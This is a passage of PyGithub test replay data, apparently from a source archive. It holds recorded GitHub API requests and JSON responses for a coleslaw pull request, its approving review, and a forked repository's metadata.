common-lisp.net","user":{"login":"equwal","id":13551856,"node_id":"MDQ6VXNlcjEzNTUxODU2","avatar_url":"https://avatars3.githubusercontent.com/u/13551856?v=4","gravatar_id":"","url":"https://api.github.com/users/equwal","html_url":"https://github.com/equwal","followers_url":"https://api.github.com/users/equwal/followers","following_url":"https://api.github.com/users/equwal/following{/other_user}","gists_url":"https://api.github.com/users/equwal/gists{/gist_id}","starred_url":"https://api.github.com/users/equwal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/equwal/subscriptions","organizations_url":"https://api.github.com/users/equwal/orgs","repos_url":"https://api.github.com/users/equwal/repos","events_url":"https://api.github.com/users/equwal/events{/privacy}","received_events_url":"https://api.github.com/users/equwal/received_events","type":"User","site_admin":false},"body":"common-lisp.net has graciously made a mailing list for coleslaw (at my request, by snail mail). I'd be happy to hand out permissions to the current maintainers of Coleslaw. Currently it is just me; hopefully this is okay.\r\n\r\ncoleslaw@common-lisp.net\r\nhttps://mailman.common-lisp.net/listinfo/coleslaw","created_at":"2019-07-13T16:17:51Z","updated_at":"2019-07-14T20:51:11Z","closed_at":null,"merged_at":null,"merge_commit_sha":"c4b12646f8fd50bc51fe7476fd9c0664fb0051a7","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/commits","review_comments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/comments","review_comment_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/comments{/number}","comments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173/comments","statuses_url":"https://api.github.com/repos/coleslaw-org/coleslaw/statuses/8492120a51c13d713c8a9121f079de2220190ce5","head":{"label":"equwal:mailing-list","ref":"mailing-list","sha":"8492120a51c13d713c8a9121f079de2220190ce5","user":{"login":"equwal","id":13551856,"node_id":"MDQ6VXNlcjEzNTUxODU2","avatar_url":"https://avatars3.githubusercontent.com/u/13551856?v=4","gravatar_id":"","url":"https://api.github.com/users/equwal","html_url":"https://github.com/equwal","followers_url":"https://api.github.com/users/equwal/followers","following_url":"https://api.github.com/users/equwal/following{/other_user}","gists_url":"https://api.github.com/users/equwal/gists{/gist_id}","starred_url":"https://api.github.com/users/equwal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/equwal/subscriptions","organizations_url":"https://api.github.com/users/equwal/orgs","repos_url":"https://api.github.com/users/equwal/repos","events_url":"https://api.github.com/users/equwal/events{/privacy}","received_events_url":"https://api.github.com/users/equwal/received_events","type":"User","site_admin":false},"repo":{"id":191131427,"node_id":"MDEwOlJlcG9zaXRvcnkxOTExMzE0Mjc=","name":"coleslaw-1","full_name":"equwal/coleslaw-1","private":false,"owner":{"login":"equwal","id":13551856,"node_id":"MDQ6VXNlcjEzNTUxODU2","avatar_url":"https://avatars3.githubusercontent.com/u/13551856?v=4","gravatar_id":"","url":"https://api.github.com/users/equwal","html_url":"https://github.com/equwal","followers_url":"https://api.github.com/users/equwal/followers","following_url":"https://api.github.com/users/equwal/following{/other_user}","gists_url":"https://api.github.com/users/equwal/gists{/gist_id}","starred_url":"https://api.github.com/users/equwal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/equwal/subscriptions","organizations_url":"https://api.github.com/users/equwal/orgs","repos_url":"https://api.github.com/users/equwal/repos","events_url":"https://api.github.com/users/equwal/events{/privacy}","received_events_url":"https://api.github.com/users/equwal/received_events","type":"User","site_admin":false},"html_url":"https://github.com/equwal/coleslaw-1","description":"Flexible Lisp Blogware","fork":true,"url":"https://api.github.com/repos/equwal/coleslaw-1","forks_url":"https://api.github.com/repos/equwal/coleslaw-1/forks","keys_url":"https://api.github.com/repos/equwal/coleslaw-1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/equwal/coleslaw-1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/equwal/coleslaw-1/teams","hooks_url":"https://api.github.com/repos/equwal/coleslaw-1/hooks","issue_events_url":"https://api.github.com/repos/equwal/coleslaw-1/issues/events{/number}","events_url":"https://api.github.com/repos/equwal/coleslaw-1/events","assignees_url":"https://api.github.com/repos/equwal/coleslaw-1/assignees{/user}","branches_url":"https://api.github.com/repos/equwal/coleslaw-1/branches{/branch}","tags_url":"https://api.github.com/repos/equwal/coleslaw-1/tags","blobs_url":"https://api.github.com/repos/equwal/coleslaw-1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/equwal/coleslaw-1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/equwal/coleslaw-1/git/refs{/sha}","trees_url":"https://api.github.com/repos/equwal/coleslaw-1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/equwal/coleslaw-1/statuses/{sha}","languages_url":"https://api.github.com/repos/equwal/coleslaw-1/languages","stargazers_url":"https://api.github.com/repos/equwal/coleslaw-1/stargazers","contributors_url":"https://api.github.com/repos/equwal/coleslaw-1/contributors","subscribers_url":"https://api.github.com/repos/equwal/coleslaw-1/subscribers","subscription_url":"https://api.github.com/repos/equwal/coleslaw-1/subscription","commits_url":"https://api.github.com/repos/equwal/coleslaw-1/commits{/sha}","git_commits_url":"https://api.github.com/repos/equwal/coleslaw-1/git/commits{/sha}","comments_url":"https://api.github.com/repos/equwal/coleslaw-1/comments{/number}","issue_comment_url":"https://api.github.com/repos/equwal/coleslaw-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/equwal/coleslaw-1/contents/{+path}","compare_url":"https://api.github.com/repos/equwal/coleslaw-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/equwal/coleslaw-1/merges","archive_url":"https://api.github.com/repos/equwal/coleslaw-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/equwal/coleslaw-1/downloads","issues_url":"https://api.github.com/repos/equwal/coleslaw-1/issues{/number}","pulls_url":"https://api.github.com/repos/equwal/coleslaw-1/pulls{/number}","milestones_url":"https://api.github.com/repos/equwal/coleslaw-1/milestones{/number}","notifications_url":"https://api.github.com/repos/equwal/coleslaw-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/equwal/coleslaw-1/labels{/name}","releases_url":"https://api.github.com/repos/equwal/coleslaw-1/releases{/id}","deployments_url":"https://api.github.com/repos/equwal/coleslaw-1/deployments","created_at":"2019-06-10T08:51:13Z","updated_at":"2019-06-16T13:17:52Z","pushed_at":"2019-07-13T16:16:27Z","git_url":"git://github.com/equwal/coleslaw-1.git","ssh_url":"git@github.com:equwal/coleslaw-1.git","clone_url":"https://github.com/equwal/coleslaw-1.git","svn_url":"https://github.com/equwal/coleslaw-1","homepage":"","size":1149,"stargazers_count":0,"watchers_count":0,"language":"Common Lisp","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"bsd-2-clause","name":"BSD 2-Clause \"Simplified\" License","spdx_id":"BSD-2-Clause","url":"https://api.github.com/licenses/bsd-2-clause","node_id":"MDc6TGljZW5zZTQ="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"coleslaw-org:master","ref":"master","sha":"992f3aba7b489dc9b4420463ebaa6f357edcf80c","user":{"login":"coleslaw-org","id":51827762,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUxODI3NzYy","avatar_url":"https://avatars0.githubusercontent.com/u/51827762?v=4","gravatar_id":"","url":"https://api.github.com/users/coleslaw-org","html_url":"https://github.com/coleslaw-org","followers_url":"https://api.github.com/users/coleslaw-org/followers","following_url":"https://api.github.com/users/coleslaw-org/following{/other_user}","gists_url":"https://api.github.com/users/coleslaw-org/gists{/gist_id}","starred_url":"https://api.github.com/users/coleslaw-org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coleslaw-org/subscriptions","organizations_url":"https://api.github.com/users/coleslaw-org/orgs","repos_url":"https://api.github.com/users/coleslaw-org/repos","events_url":"https://api.github.com/users/coleslaw-org/events{/privacy}","received_events_url":"https://api.github.com/users/coleslaw-org/received_events","type":"Organization","site_admin":false},"repo":{"id":1387472,"node_id":"MDEwOlJlcG9zaXRvcnkxMzg3NDcy","name":"coleslaw","full_name":"coleslaw-org/coleslaw","private":false,"owner":{"login":"coleslaw-org","id":51827762,"node_id":"MDEyOk9yZ2FuaXphdGlvbjUxODI3NzYy","avatar_url":"https://avatars0.githubusercontent.com/u/51827762?v=4","gravatar_id":"","url":"https://api.github.com/users/coleslaw-org","html_url":"https://github.com/coleslaw-org","followers_url":"https://api.github.com/users/coleslaw-org/followers","following_url":"https://api.github.com/users/coleslaw-org/following{/other_user}","gists_url":"https://api.github.com/users/coleslaw-org/gists{/gist_id}","starred_url":"https://api.github.com/users/coleslaw-org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coleslaw-org/subscriptions","organizations_url":"https://api.github.com/users/coleslaw-org/orgs","repos_url":"https://api.github.com/users/coleslaw-org/repos","events_url":"https://api.github.com/users/coleslaw-org/events{/privacy}","received_events_url":"https://api.github.com/users/coleslaw-org/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coleslaw-org/coleslaw","description":"Flexible Lisp Blogware","fork":false,"url":"https://api.github.com/repos/coleslaw-org/coleslaw","forks_url":"https://api.github.com/repos/coleslaw-org/coleslaw/forks","keys_url":"https://api.github.com/repos/coleslaw-org/coleslaw/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coleslaw-org/coleslaw/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coleslaw-org/coleslaw/teams","hooks_url":"https://api.github.com/repos/coleslaw-org/coleslaw/hooks","issue_events_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/events{/number}","events_url":"https://api.github.com/repos/coleslaw-org/coleslaw/events","assignees_url":"https://api.github.com/repos/coleslaw-org/coleslaw/assignees{/user}","branches_url":"https://api.github.com/repos/coleslaw-org/coleslaw/branches{/branch}","tags_url":"https://api.github.com/repos/coleslaw-org/coleslaw/tags","blobs_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/refs{/sha}","trees_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coleslaw-org/coleslaw/statuses/{sha}","languages_url":"https://api.github.com/repos/coleslaw-org/coleslaw/languages","stargazers_url":"https://api.github.com/repos/coleslaw-org/coleslaw/stargazers","contributors_url":"https://api.github.com/repos/coleslaw-org/coleslaw/contributors","subscribers_url":"https://api.github.com/repos/coleslaw-org/coleslaw/subscribers","subscription_url":"https://api.github.com/repos/coleslaw-org/coleslaw/subscription","commits_url":"https://api.github.com/repos/coleslaw-org/coleslaw/commits{/sha}","git_commits_url":"https://api.github.com/repos/coleslaw-org/coleslaw/git/commits{/sha}","comments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/comments{/number}","issue_comment_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/comments{/number}","contents_url":"https://api.github.com/repos/coleslaw-org/coleslaw/contents/{+path}","compare_url":"https://api.github.com/repos/coleslaw-org/coleslaw/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coleslaw-org/coleslaw/merges","archive_url":"https://api.github.com/repos/coleslaw-org/coleslaw/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coleslaw-org/coleslaw/downloads","issues_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues{/number}","pulls_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls{/number}","milestones_url":"https://api.github.com/repos/coleslaw-org/coleslaw/milestones{/number}","notifications_url":"https://api.github.com/repos/coleslaw-org/coleslaw/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coleslaw-org/coleslaw/labels{/name}","releases_url":"https://api.github.com/repos/coleslaw-org/coleslaw/releases{/id}","deployments_url":"https://api.github.com/repos/coleslaw-org/coleslaw/deployments","created_at":"2011-02-19T21:27:15Z","updated_at":"2019-07-15T13:17:41Z","pushed_at":"2019-07-13T16:17:52Z","git_url":"git://github.com/coleslaw-org/coleslaw.git","ssh_url":"git@github.com:coleslaw-org/coleslaw.git","clone_url":"https://github.com/coleslaw-org/coleslaw.git","svn_url":"https://github.com/coleslaw-org/coleslaw","homepage":"","size":779,"stargazers_count":341,"watchers_count":341,"language":"Common Lisp","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":69,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":44,"license":{"key":"bsd-2-clause","name":"BSD 2-Clause \"Simplified\" License","spdx_id":"BSD-2-Clause","url":"https://api.github.com/licenses/bsd-2-clause","node_id":"MDc6TGljZW5zZTQ="},"forks":69,"open_issues":44,"watchers":341,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173"},"html":{"href":"https://github.com/coleslaw-org/coleslaw/pull/173"},"issue":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173"},"comments":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173/comments"},"review_comments":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/comments"},"review_comment":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173/commits"},"statuses":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/statuses/8492120a51c13d713c8a9121f079de2220190ce5"}},"author_association":"CONTRIBUTOR","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":1,"maintainer_can_modify":true,"commits":1,"additions":32,"deletions":30,"changed_files":2} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1169.testReviewApproveWithoutBody.txt0000644000175100001660000000565514756101563027437 0ustar00runnerdockerhttps POST api.github.com None /repos/coleslaw-org/coleslaw/pulls/173/reviews {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"event": "APPROVE", "comments": []} 200 [('Date', 'Mon, 15 Jul 2019 16:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1563212378'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"c3218e799d214a96e76516cd1b66719c"'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9692:A1DA:7E28EE2:9C4D530:5D2CACF5')] {"id":261942907,"node_id":"MDE3OlB1bGxSZXF1ZXN0UmV2aWV3MjYxOTQyOTA3","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"body":"","state":"APPROVED","html_url":"https://github.com/coleslaw-org/coleslaw/pull/173#pullrequestreview-261942907","pull_request_url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173","author_association":"CONTRIBUTOR","_links":{"html":{"href":"https://github.com/coleslaw-org/coleslaw/pull/173#pullrequestreview-261942907"},"pull_request":{"href":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173"}},"submitted_at":"2019-07-15T16:42:30Z","commit_id":"8492120a51c13d713c8a9121f079de2220190ce5"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1375.setUp.txt0000644000175100001660000007724514756101563022642 0ustar00runnerdockerhttps GET api.github.com None /repos/rsn491/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Feb 2020 10:55:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4956'), ('X-RateLimit-Reset', '1581246202'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, Accept-Encoding'), ('ETag', 'W/"760c058d22aeb5b86a8af5cc8c447b1d"'), ('Last-Modified', 'Sun, 02 Feb 2020 17:37:55 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '4136:31292:4C71B2D:5BA8613:5E3FE522')] {"id":237809495,"node_id":"MDEwOlJlcG9zaXRvcnkyMzc4MDk0OTU=","name":"PyGithub","full_name":"rsn491/PyGithub","private":false,"owner":{"login":"rsn491","id":7198529,"node_id":"MDQ6VXNlcjcxOTg1Mjk=","avatar_url":"https://avatars1.githubusercontent.com/u/7198529?v=4","gravatar_id":"","url":"https://api.github.com/users/rsn491","html_url":"https://github.com/rsn491","followers_url":"https://api.github.com/users/rsn491/followers","following_url":"https://api.github.com/users/rsn491/following{/other_user}","gists_url":"https://api.github.com/users/rsn491/gists{/gist_id}","starred_url":"https://api.github.com/users/rsn491/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsn491/subscriptions","organizations_url":"https://api.github.com/users/rsn491/orgs","repos_url":"https://api.github.com/users/rsn491/repos","events_url":"https://api.github.com/users/rsn491/events{/privacy}","received_events_url":"https://api.github.com/users/rsn491/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rsn491/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/rsn491/PyGithub","forks_url":"https://api.github.com/repos/rsn491/PyGithub/forks","keys_url":"https://api.github.com/repos/rsn491/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rsn491/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rsn491/PyGithub/teams","hooks_url":"https://api.github.com/repos/rsn491/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/rsn491/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/rsn491/PyGithub/events","assignees_url":"https://api.github.com/repos/rsn491/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/rsn491/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/rsn491/PyGithub/tags","blobs_url":"https://api.github.com/repos/rsn491/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rsn491/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rsn491/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/rsn491/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rsn491/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/rsn491/PyGithub/languages","stargazers_url":"https://api.github.com/repos/rsn491/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/rsn491/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/rsn491/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/rsn491/PyGithub/subscription","commits_url":"https://api.github.com/repos/rsn491/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/rsn491/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/rsn491/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/rsn491/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/rsn491/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/rsn491/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rsn491/PyGithub/merges","archive_url":"https://api.github.com/repos/rsn491/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rsn491/PyGithub/downloads","issues_url":"https://api.github.com/repos/rsn491/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/rsn491/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/rsn491/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/rsn491/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rsn491/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/rsn491/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/rsn491/PyGithub/deployments","created_at":"2020-02-02T17:37:53Z","updated_at":"2020-02-02T17:37:55Z","pushed_at":"2020-02-03T18:51:24Z","git_url":"git://github.com/rsn491/PyGithub.git","ssh_url":"git@github.com:rsn491/PyGithub.git","clone_url":"https://github.com/rsn491/PyGithub.git","svn_url":"https://github.com/rsn491/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12439,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-02-09T09:38:54Z","pushed_at":"2020-02-09T09:38:52Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12495,"stargazers_count":3177,"watchers_count":3177,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1040,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":54,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1040,"open_issues":54,"watchers":3177,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 